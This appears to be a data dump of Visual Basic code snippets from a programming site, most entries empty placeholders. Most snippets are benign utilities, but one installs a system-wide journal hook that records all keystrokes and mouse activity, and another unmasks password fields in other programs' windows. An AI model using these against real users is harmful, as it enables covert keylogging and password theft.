Blue&)\n"},{"WorldId":1,"id":9036,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9051,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9050,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9060,"LineNumber":1,"line":"'Place at Form TextBox. \n'General Declarations\nDim pswd As String \n'\nPrivate Sub Text1_KeyPress(KeyAscii As Integer) \n pswd = pswd + Chr(KeyAscii) \n KeyAscii = Asc(\"*\") \nEnd Sub \n'You can replace string KeyAscii = Asc(\"*\") to\n'KeyAscii = 0 and TextBox is no symbols \"*\"\n"},{"WorldId":1,"id":10118,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9811,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9617,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9333,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9534,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9149,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9153,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9239,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9260,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9185,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9758,"LineNumber":1,"line":"'---Bas module code---\nOption Explicit\nPublic Enum HookFlags\n HFMouseDown = 1\n HFMouseUp = 2\n HFMouseMove = 4\n HFKeyDown = 8\n HFKeyUp = 16\nEnd Enum\nPrivate Declare Function SetWindowsHookEx Lib \"user32\" Alias \"SetWindowsHookExA\" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long\nPrivate Declare Function CallNextHookEx Lib \"user32\" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long\nPrivate Declare Function UnhookWindowsHookEx Lib \"user32\" (ByVal hHook As Long) As Long\nPrivate Declare Sub CopyMemory Lib \"kernel32\" Alias \"RtlMoveMemory\" (lpDest As Any, lpSource As Any, ByVal cBytes As Long)\nPrivate Declare Function GetAsyncKeyState% Lib \"user32\" (ByVal vKey As Long)\nPrivate Declare Function GetForegroundWindow& Lib \"user32\" ()\nPrivate Declare Function GetWindowThreadProcessId& Lib \"user32\" (ByVal hwnd As Long, lpdwProcessId As Long)\nPrivate Declare Function GetKeyboardLayout& Lib \"user32\" (ByVal dwLayout As Long)\nPrivate Declare Function MapVirtualKeyEx Lib \"user32\" Alias \"MapVirtualKeyExA\" (ByVal uCode As Long, ByVal uMapType As Long, ByVal dwhkl As Long) As Long\nPrivate Declare Function SetWindowPos Lib \"user32\" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long\nPrivate Const SWP_NOSIZE = &H1\nPrivate Const SWP_NOMOVE = &H2\nPrivate Const SWP_NOREDRAW = &H8\nPrivate Const WM_KEYDOWN = &H100\nPrivate Const WM_KEYUP = &H101\nPrivate Const WM_MOUSEMOVE = &H200\nPrivate Const WM_LBUTTONDOWN = &H201\nPrivate Const WM_LBUTTONUP = &H202\nPrivate Const WM_LBUTTONDBLCLK = &H203\nPrivate Const WM_RBUTTONDOWN = &H204\nPrivate Const WM_RBUTTONUP = &H205\nPrivate Const WM_RBUTTONDBLCLK = &H206\nPrivate Const WM_MBUTTONDOWN = &H207\nPrivate Const WM_MBUTTONUP = &H208\nPrivate Const WM_MBUTTONDBLCLK = &H209\nPrivate Const WM_MOUSEWHEEL = &H20A\nPrivate Const WH_JOURNALRECORD = 0\nType EVENTMSG\n wMsg As Long\n lParamLow As Long\n lParamHigh As Long\n' msgTime As Long\n' hWndMsg As Long\nEnd Type\nDim EMSG As EVENTMSG\nDim hHook As Long, frmHooked As Form, hFlags As Long\nPublic Function HookProc(ByVal nCode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long\n If nCode < 0 Then\n HookProc = CallNextHookEx(hHook, nCode, wParam, lParam)\n Exit Function\n End If\n Dim i%, j%, k%\n CopyMemory EMSG, ByVal lParam, Len(EMSG)\n Select Case EMSG.wMsg\n Case WM_KEYDOWN\n If (hFlags And HFKeyDown) = HFKeyDown Then\n If GetAsyncKeyState(vbKeyShift) Then j = 1\n If GetAsyncKeyState(vbKeyControl) Then j = 2\n If GetAsyncKeyState(vbKeyMenu) Then j = 4\n Select Case (EMSG.lParamLow And &HFF)\n Case 0 To 31, 90 To 159\n k = (EMSG.lParamLow And &HFF)\n Case Else\n k = MapVirtualKeyEx(EMSG.lParamLow And &HFF, 2, GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow, 0)))\n End Select\n frmHooked.System_KeyDown k, j\n End If\n Case WM_KEYUP\n If (hFlags And HFKeyUp) = HFKeyUp Then\n If GetAsyncKeyState(vbKeyShift) Then j = 1\n If GetAsyncKeyState(vbKeyControl) Then j = 2\n If GetAsyncKeyState(vbKeyMenu) Then j = 4\n Select Case (EMSG.lParamLow And &HFF)\n Case 0 To 31, 90 To 159\n k = (EMSG.lParamLow And &HFF)\n Case Else\n k = MapVirtualKeyEx(EMSG.lParamLow And &HFF, 2, GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow, 0)))\n End Select\n frmHooked.System_KeyUp k, j\n End If\n Case WM_MOUSEWHEEL\n Debug.Print \"MouseWheel\"\n Case WM_MOUSEMOVE\n If (hFlags And HFMouseMove) = HFMouseMove Then\n If GetAsyncKeyState(vbKeyLButton) Then i = 1\n If GetAsyncKeyState(vbKeyRButton) Then i = 2\n If GetAsyncKeyState(vbKeyMButton) Then i = 4\n If GetAsyncKeyState(vbKeyShift) Then j = 1\n If GetAsyncKeyState(vbKeyControl) Then j = 2\n If GetAsyncKeyState(vbKeyMenu) Then j = 4\n frmHooked.System_MouseMove i, j, CSng(EMSG.lParamLow), CSng(EMSG.lParamHigh)\n End If\n Case WM_LBUTTONDOWN, WM_RBUTTONDOWN, WM_MBUTTONDOWN\n If (hFlags And HFMouseDown) = HFMouseDown Then\n If GetAsyncKeyState(vbKeyShift) Then i = 1\n If GetAsyncKeyState(vbKeyControl) Then i = 2\n If GetAsyncKeyState(vbKeyMenu) Then i = 4\n frmHooked.System_MouseDown 2 ^ ((EMSG.wMsg - 513) / 3), i, CSng(EMSG.lParamLow), CSng(EMSG.lParamHigh)\n End If\n Case WM_LBUTTONUP, WM_RBUTTONUP, WM_MBUTTONUP\n If (hFlags And HFMouseUp) = HFMouseUp Then\n If GetAsyncKeyState(vbKeyShift) Then i = 1\n If GetAsyncKeyState(vbKeyControl) Then i = 2\n If GetAsyncKeyState(vbKeyMenu) Then i = 4\n frmHooked.System_MouseUp 2 ^ ((EMSG.wMsg - 514) / 3), i, CSng(EMSG.lParamLow), CSng(EMSG.lParamHigh)\n End If\n End Select\n Call CallNextHookEx(hHook, nCode, wParam, lParam)\nEnd Function\nPublic Sub SetHook(fOwner As Form, flags As HookFlags)\n hHook = SetWindowsHookEx(WH_JOURNALRECORD, AddressOf HookProc, 0, 0)\n Set frmHooked = fOwner\n hFlags = flags\n Window_SetAlwaysOnTop frmHooked.hwnd, True\nEnd Sub\nPublic Sub RemoveHook()\n UnhookWindowsHookEx hHook\n Window_SetAlwaysOnTop frmHooked.hwnd, False\n Set frmHooked = Nothing\nEnd Sub\nPrivate Function Window_SetAlwaysOnTop(hwnd As Long, bAlwaysOnTop As Boolean) As Boolean\n Window_SetAlwaysOnTop = SetWindowPos(hwnd, -2 - bAlwaysOnTop, 0, 0, 0, 0, SWP_NOREDRAW Or SWP_NOSIZE Or SWP_NOMOVE)\nEnd Function\n'---End of bas module code---\n'--------------------------------------------\n'---Form code---\n'Add two multiline TextBoxes (better with vertical scrollbar) and one Label at form\nPrivate Sub Form_Load()\n SetHook Me, HFMouseDown + HFMouseUp + HFMouseMove + HFKeyDown + HFKeyUp\n Text1 = \"Mouse activity log:\"\n Text2 = \"Keyboard activity log:\"\nEnd Sub\nPublic Sub System_KeyDown(KeyCode As Integer, Shift As Integer)\n Dim s As String\n Select Case KeyCode\n Case 32 To 90, 160 To 255\n s = LCase(Chr$(KeyCode))\n Case Else\n s = \"ASCII code \" & KeyCode\n End Select\n If Shift = vbShiftMask Then s = UCase(s): s = s & \" + Shift \"\n If Shift = vbCtrlMask Then s = s & \" + Ctrl \"\n If Shift = vbAltMask Then s = s & \" + Alt \"\n Text2 = Text2 & vbCrLf & s & \" down\"\nEnd Sub\nPublic Sub System_KeyUp(KeyCode As Integer, Shift As Integer)\n Dim s As String\n Select Case KeyCode\n Case 32 To 90, 160 To 255\n s = LCase(Chr$(KeyCode))\n Case Else\n s = \"ASCII code \" & KeyCode\n End Select\n If Shift = vbShiftMask Then s = UCase(s): s = s & \" + Shift \"\n If Shift = vbCtrlMask Then s = s & \" + Ctrl \"\n If Shift = vbAltMask Then s = s & \" + Alt \"\n Text2 = Text2 & vbCrLf & s & \" up\"\nEnd Sub\nPublic Sub System_MouseDown(Button As Integer, Shift As Integer, x As Single, y As Single)\n Dim s As String\n If Button = vbLeftButton Then s = \"Left Button \"\n If Button = vbRightButton Then s = \"Right Button \"\n If Button = vbMiddleButton Then s = \"Middle Button \"\n If Shift = vbShiftMask Then s = s & \"+ Shift \"\n If Shift = vbCtrlMask Then s = s & \"+ Ctrl \"\n If Shift = vbAltMask Then s = s & \"+ Alt \"\n Text1 = Text1 & vbCrLf & s & \"Down at pos (pixels): \" & CStr(x) & \" , \" & CStr(y)\nEnd Sub\nPublic Sub System_MouseUp(Button As Integer, Shift As Integer, x As Single, y As Single)\n Dim s As String\n If Button = vbLeftButton Then s = \"Left Button \"\n If Button = vbRightButton Then s = \"Right Button \"\n If Button = vbMiddleButton Then s = \"Middle Button \"\n If Shift = vbShiftMask Then s = s & \"+ Shift \"\n If Shift = vbCtrlMask Then s = s & \"+ Ctrl \"\n If Shift = vbAltMask Then s = s & \"+ Alt \"\n Text1 = Text1 & vbCrLf & s & \"Up at pos (pixels): \" & CStr(x) & \" , \" & CStr(y)\nEnd Sub\nPublic Sub System_MouseMove(Button As Integer, Shift As Integer, x As Single, y As Single)\n Dim s As String\n If Button = vbLeftButton Then s = \"Left Button \"\n If Button = vbRightButton Then s = \"Right Button \"\n If Button = vbMiddleButton Then s = \"Middle Button \"\n If Shift = vbShiftMask Then s = s & \"+ Shift \"\n If Shift = vbCtrlMask Then s = s & \"+ Ctrl \"\n If Shift = vbAltMask Then s = s & \"+ Alt \"\n Label1 = \"Mouse info\" & vbCrLf & \"X = \" & x & \" Y= \" & y & vbCrLf\n If s <> \"\" Then Label1 = Label1 & \"Extra Info: \" & vbCrLf & s & \"pressed\"\nEnd Sub\nPrivate Sub Form_Unload(Cancel As Integer)\n RemoveHook\nEnd Sub\n'--End of form code--\n"},{"WorldId":1,"id":10259,"LineNumber":1,"line":"'---Bas module code------\nPrivate Declare Function EnumWindows& Lib \"user32\" (ByVal lpEnumFunc As Long, ByVal lParam As Long)\nPrivate Declare Function GetWindowText Lib \"user32\" Alias \"GetWindowTextA\" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long\nPrivate Declare Function IsWindowVisible& Lib \"user32\" (ByVal hwnd As Long)\nPrivate Declare Function GetParent& Lib \"user32\" (ByVal hwnd As Long)\nDim sPattern As String, hFind As Long\nFunction EnumWinProc(ByVal hwnd As Long, ByVal lParam As Long) As Long\n Dim k As Long, sName As String\n If IsWindowVisible(hwnd) And GetParent(hwnd) = 0 Then\n sName = Space$(128)\n k = GetWindowText(hwnd, sName, 128)\n If k > 0 Then\n sName = Left$(sName, k)\n If lParam = 0 Then sName = UCase(sName)\n If sName Like sPattern Then\n hFind = hwnd\n EnumWinProc = 0\n Exit Function\n End If\n End If\n End If\n EnumWinProc = 1\nEnd Function\nPublic Function FindWindowWild(sWild As String, Optional bMatchCase As Boolean = True) As Long\n sPattern = sWild\n If Not bMatchCase Then sPattern = UCase(sPattern)\n EnumWindows AddressOf EnumWinProc, bMatchCase\n FindWindowWild = hFind\nEnd Function\n\n'----Using (Form code)----\nPrivate Sub Command1_Click()\n Debug.Print FindWindowWild(\"*Mi??OSoFt In[s-u]ernet*\", False)\nEnd Sub\n"},{"WorldId":1,"id":10260,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10342,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9157,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9158,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9303,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9530,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9373,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9184,"LineNumber":1,"line":"Public Sub CheckIfConnected()\n Winsock1.Close\n Winsock1.Connect \"www.yahoo.com\", 80\n \n While Winsock1.state <> sckConnected\n If Winsock1.state = sckError Then GoTo Offline\n DoEvents\n Wend\n \n MsgBox \"Online\"\n Winsock1.Close\n Exit Sub\nOffline:\n MsgBox \"Offline\"\nEnd Sub\n"},{"WorldId":1,"id":9172,"LineNumber":1,"line":"Private Type POINTAPI\n X As Long\n Y As Long\nEnd Type\nPrivate Declare Function GetClassNames Lib \"user32\" Alias \"GetClassNameA\" (ByVal hwnd As Long, ByVal LpClassName As String, ByVal nMaxCount As Long) As Long\nPrivate Declare Function UpdateWindow Lib \"user32\" (ByVal hwnd As Long) As Long\nPrivate Declare Function SetFocusAp Lib \"user32\" Alias \"SetFocus\" (ByVal hwnd As Long) As Long\nPrivate Declare Function SetForegroundWindow Lib \"user32\" (ByVal hwnd As Long) As Long\nPrivate Declare Function GetCursorPos Lib \"user32\" (lpPoint As POINTAPI) As Long\nPrivate Declare Function WindowFromPoint Lib \"user32\" (ByVal X As Long, ByVal Y As Long) As Long\nPrivate Declare Function GetParent Lib \"user32\" (ByVal hwnd As Long) As Long\nPrivate Declare Function SendMessage Lib \"user32\" Alias \"SendMessageA\" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long\nPrivate Exper As Boolean\nPrivate Sub Command1_Click()\nDim Point As POINTAPI, Cname As String, Resxxx As Long, LSta As Long\nDim Counter As Long, xxx As Long, Par As Long\nConst Clase_Name As String = \"ThunderTextBox\"\nConst Clase_Name2 As String = \"Edit\"\nExper = False\nDo Until Exper = True\n Resxxx = GetCursorPos(Point)\n Resxxx = WindowFromPoint(Point.X, Point.Y)\n If Resxxx <> 0 Then\n Cname = String$(255, 0)\n xxx = GetClassNames(Resxxx, Cname, 254)\n If InStr(1, Cname, Clase_Name2, vbTextCompare) <> 0 Then\n Par = GetParent(Resxxx)\n xxx = SendMessage(Resxxx, &HCC, 0, 0)\n xxx = SetForegroundWindow(Par)\n xxx = UpdateWindow(Par)\n xxx = UpdateWindow(Resxxx)\n xxx = UpdateWindow(Resxxx)\n xxx = SetFocusAp(Resxxx)\n SetFocusAp xxx\n SetFocusAp Resxxx\n Exper = True\n End If\n End If\n DoEvents\nLoop\nEnd Sub\n"},{"WorldId":1,"id":9318,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9294,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9197,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9228,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9238,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9299,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10084,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9325,"LineNumber":1,"line":"Function GetPi(iLengthOfPI As Integer) As String\n'*************************************************************\n'Creation Date: 06/10/2000\n'Author: Ramon Morales\n'Comments: This function finds Pi to the requested number of\n'decimal places. It does not calculate Pi, there is a hard\n'coded string and ther result is parsed based on the requested\n'number of decimal places.\n'*************************************************************\nDim sPi As String\n '********************************\n 'Error Trapping\n If iLengthOfPI > 1000 Or iLengthOfPI < 1 Then\n GoTo StandardExit\n End If\n '********************************\n \n sPi = \"3.141592653589793238462643383279502884197\" '\n sPi = sPi & \"1693993751058209749445923078164\"\n sPi = sPi & \"0628620899862803482534211706798\"\n sPi = sPi & \"2148086513282306647093844609550\"\n sPi = sPi & \"5822317253594081284811174502841\"\n sPi = sPi & \"02701938521105559644622948954930\"\n sPi = sPi & \"38196442881097566593344612847564\"\n sPi = sPi & \"823378678316527120190914564856692\"\n sPi = sPi & \"346034861045432664821339360726024\"\n sPi = sPi & \"914127372458700660631558817488152\"\n sPi = sPi & \"092096282925409171536436789259036\"\n sPi = sPi & \"001133053054882046652138414695194\"\n sPi = sPi & \"151160943305727036575959195309218\"\n sPi = sPi & \"611738193261179310511854807446237\"\n sPi = sPi & \"996274956735188575272489122793818\"\n sPi = sPi & \"301194912983367336244065664308602\"\n sPi = sPi & \"139494639522473719070217986094370\"\n sPi = sPi & \"277053921717629317675238467481846\"\n sPi = sPi & \"766940513200056812714526356082778\"\n sPi = sPi & \"577134275778960917363717872146844\"\n sPi = sPi & \"0901224953430146549585371050792279\"\n sPi = sPi & \"6892589235420199561121290219608640\"\n sPi = sPi & \"3441815981362977477130996051870721\"\n sPi = sPi & \"1349999998372978049951059731732816\"\n sPi = sPi & \"0963185950244594553469083026425223\"\n sPi = sPi & \"0825334468503526193118817101000313\"\n sPi = sPi & \"7838752886587533208381420617177669\"\n sPi = sPi & \"1473035982534904287554687311595628\"\n sPi = sPi & \"6388235378759375195778185778053217\"\n sPi = sPi & \"1226806613001927876611195909216420\"\n sPi = sPi & \"1989\"\nStandardExit:\n On Error Resume Next\n If iLengthOfPI <= 1000 Then\n GetPi = Mid$(sPi, 1, (iLengthOfPI + 2))\n End If\n If iLengthOfPI > 1000 Then\n GetPi = \"Length Too Long\"\n End If\n If iLengthOfPI < 1 Then\n GetPi = \"Length Must be at Least 1\"\n End If\n \nEnd Function\n\n"},{"WorldId":1,"id":10340,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10460,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10194,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10227,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10266,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10425,"LineNumber":1,"line":"'Put this in a module:\nDeclare Sub ReleaseCapture Lib \"user32\" ()\nDeclare Function SendMessage Lib \"user32\" Alias \"SendMessageA\" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wparam As Integer, ByVal iparam As Long) As Long\nPublic Sub formdrag(theform As Form)\n ReleaseCapture\n Call SendMessage(theform.hWnd, &HA1, 2, 0&)\nEnd Sub\n'**************\n'put this in the object that u want to move the form in the MouseDown:\nformdrag Me\n'thats it...vote for me if u like it...or email me if u need help...it should work...worked for me"},{"WorldId":1,"id":10331,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10351,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10442,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10443,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10532,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10484,"LineNumber":1,"line":"Function Proper(Text As String)\nDim FirstLetter%, I%, BadFormat%, J%, Loc%, Sta%\nDim BreakL$, BreakR$\n'------------------------\nText = LCase(Text)\nFirstLetter = Asc(Mid(Text, 1, 1))\nIf FirstLetter >= 97 And FirstLetter <= 122 Then\n Text = Right(Text, Len(Text) - 1)\n Text = Chr(FirstLetter - 32) & Text\nEnd If\nFor I = 1 To Len(Text) - 2\n If Mid(Text, I, 1) = \".\" And Asc(Mid(Text, I + 2, 1)) >= 97 And Asc(Mid(Text, I + 2, 1)) <= 122 _\n Then BadFormat = BadFormat + 1\n If Mid(Text, I, 1) = \"!\" And Asc(Mid(Text, I + 2, 1)) >= 97 And Asc(Mid(Text, I + 2, 1)) <= 122 _\n Then BadFormat = BadFormat + 1\n If Mid(Text, I, 1) = \"?\" And Asc(Mid(Text, I + 2, 1)) >= 97 And Asc(Mid(Text, I + 2, 1)) <= 122 _\n Then BadFormat = BadFormat + 1\nNext I\nLoc = 1\nFor J = 1 To BadFormat\n Sta = 200\n If InStr(Loc, Text, \".\") <> 0 Then Sta = InStr(Loc, Text, \".\")\n If InStr(Loc, Text, \"?\") < Sta And InStr(Loc, Text, \"?\") <> 0 _\n Then Sta = InStr(Loc, Text, \"?\")\n If InStr(Loc, Text, \"!\") < Sta And InStr(Loc, Text, \"!\") <> 0 _\n Then Sta = InStr(Loc, Text, \"!\")\n For I = Sta To Len(Text)\n If Asc(Mid(Text, I, 1)) >= 97 And Asc(Mid(Text, I, 1)) <= 122 Then\n Loc = I + 1\n FirstLetter = Asc(Mid(Text, I, 1))\n BreakL = Left(Text, I - 1)\n BreakR = Right(Text, Len(Text) - I)\n Text = BreakL & Chr(FirstLetter - 32) & BreakR\n Exit For\n End If\n Next I\nNext J\nProper = Text\nEnd Function\n"},{"WorldId":1,"id":10479,"LineNumber":1,"line":"Public Function bSetRegValue(ByVal hKey As Long, ByVal lpszSubKey As String, ByVal sSetValue As String, ByVal sValue As String) As Boolean\n \n On Error Resume Next\n Dim phkResult As Long\n Dim lResult As Long\n Dim SA As SECURITY_ATTRIBUTES\n Dim lCreate As Long\n RegCreateKeyEx hKey, lpszSubKey, 0, \"\", REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, SA, phkResult, lCreate\n lResult = RegSetValueEx(phkResult, sSetValue, 0, REG_SZ, sValue, CLng(Len(sValue) + 1))\n RegCloseKey phkResult\n bSetRegValue = (lResult = ERROR_SUCCESS)\n \nEnd Function\nPublic Function bGetRegValue(ByVal hKey As Long, ByVal sKey As String, ByVal sSubKey As String) As String\n \n Dim lResult As Long\n Dim phkResult As Long\n Dim dWReserved As Long\n Dim szBuffer As String\n Dim lBuffSize As Long\n Dim szBuffer2 As String\n Dim lBuffSize2 As Long\n Dim lIndex As Long\n Dim lType As Long\n Dim sCompKey As String\n \n lIndex = 0\n lResult = RegOpenKeyEx(hKey, sKey, 0, 1, phkResult)\n Do While lResult = ERROR_SUCCESS And Not (bFound)\n \n szBuffer = Space(255)\n lBuffSize = Len(szBuffer)\n szBuffer2 = Space(255)\n lBuffSize2 = Len(szBuffer2)\n \n lResult = RegEnumValue(phkResult, lIndex, szBuffer, lBuffSize, dWReserved, lType, szBuffer2, lBuffSize2)\n If (lResult = ERROR_SUCCESS) Then\n sCompKey = Left(szBuffer, lBuffSize)\n If (sCompKey = sSubKey) Then\n bGetRegValue = Left(szBuffer2, lBuffSize2 - 1)\n End If\n End If\n lIndex = lIndex + 1\n \n Loop\n RegCloseKey phkResult\nEnd Function\n"},{"WorldId":1,"id":10471,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10480,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10481,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10522,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64927,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64073,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":63946,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":63880,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64997,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64377,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22324,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64916,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":63782,"LineNumber":1,"line":"The movie is part one of this serious."},{"WorldId":1,"id":64859,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49948,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64368,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":65063,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":37333,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":63907,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64116,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64259,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64117,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":61467,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64383,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64384,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64473,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64192,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54968,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":63527,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":60580,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64506,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":63877,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64952,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":65026,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":65029,"LineNumber":1,"line":"http://V8Software.com/VBResourceFeature.doc"},{"WorldId":1,"id":64951,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":63923,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48887,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64110,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":63291,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":63684,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64061,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":63783,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":63650,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64229,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64573,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64450,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29329,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64603,"LineNumber":1,"line":"SetVB2Java is an easy-to-use component for \nmigration of Visual Basic Forms and UserControls into pure Java Source Code (Swing Style). \nYou just implement SetVB2Java into your Visual Basic IDE and your Forms and UserControls will be converted within a few minutes. The Component is free. Mor Infos & Download http://www.getobject.com\n"},{"WorldId":1,"id":64046,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":63895,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":63805,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64867,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":63993,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64632,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54359,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56482,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64920,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64445,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64213,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":63764,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64287,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3287,"LineNumber":1,"line":"'* This must be compiled into an executable for the intrinsic \n'* error logging to work\n'* It will not work from the development enviroment.\n'* paste this code on to a form, save and compile it for the demo \nPrivate Sub Form_Load()\n'*here is an example of a sub which I raise errors in for the demo\n ErrorDemoSub\n \n MsgBox \"Errors Recorded in Error Log File\"\n \n Unload Me\n \nEnd Sub\nPrivate Sub ErrorDemoSub()\n Dim i As Integer\n Dim ii As Integer\n On Error GoTo MyErrorLog\n 'we'll simulate an error in a loop although we only log it one time\n For i = 1 To 20\n For ii = 1 To 5 \n Err.Raise i\n Next ii\n Next i\n \n Exit Sub\n \nMyErrorLog:\n LogErrors Err.Number, Err.Description, Me.Name, \"ErrorDemoSub\"\n Err.Clear\n Resume Next\n \nEnd Sub"},{"WorldId":1,"id":3164,"LineNumber":1,"line":"Option Explicit\n'* This uses ADOX components to create a database and database \n'* objects at runtime. This can be used also to create databases\n'* for applications instead of an the actual Microsoft Access \n'* application. Set a reference to \"Ext.2.1 for DDL and Security\" \n'* in the project references. Add this class to a project and call\n'* CreateAdox passing the Database Name, Table Name, Table Name\n'* Submitted by Timothy A. Vanover\n'* hdhunter@home.com\nPrivate tbl As ADOX.Table\nPrivate cat As ADOX.Catalog 'the actual database\nPrivate idx As ADOX.Index\nPrivate Pkey As ADOX.Key\nPublic Sub CreateAdox(strCatalogName As String, _\n strTableNameOne As String, _\n strTableNameTwo As String)\n Set cat = New ADOX.Catalog\n \n On Error GoTo MyError\n \n'* This creates the actual database.\n cat.Create \"Provider=Microsoft.Jet.OLEDB.4.0;Data Source=\" & _\n App.Path & \"\\\" & strCatalogName & \".mdb\"\n \n Set tbl = New ADOX.Table\n \n With tbl\n .Name = strTableNameOne\n Set .ParentCatalog = cat\n .Columns.Append \"MyPrimaryKey\", adInteger 'long data type\n .Columns(\"MyPrimaryKey\").Properties(\"AutoIncrement\") = True 'auto number\n .Columns.Append \"MyIntegerData\", adSmallInt 'Integer data type\n .Columns.Append \"MyStringData\", adVarWChar, 25 'string size of 25\n End With\n cat.Tables.Append tbl 'add the table to the database\n \n Set Pkey = New ADOX.Key 'create new key object\n With Pkey\n .Name = \"MyPrimaryKey\"\n .Type = adKeyPrimary\n .Columns.Append \"MyPrimaryKey\"\n End With\n tbl.Keys.Append Pkey\n Set Pkey = Nothing\n Set idx = New ADOX.Index\n With idx\n .Unique = False 'duplicates allowed\n .Name = \"MyIntegerData\"\n .Columns.Append \"MyIntegerData\"\n End With\n tbl.Indexes.Append idx\n Set idx = Nothing\n \n Set idx = New ADOX.Index\n With idx\n .Unique = True 'NO duplicates allowed\n .Name = \"MyStringData\"\n .Columns.Append 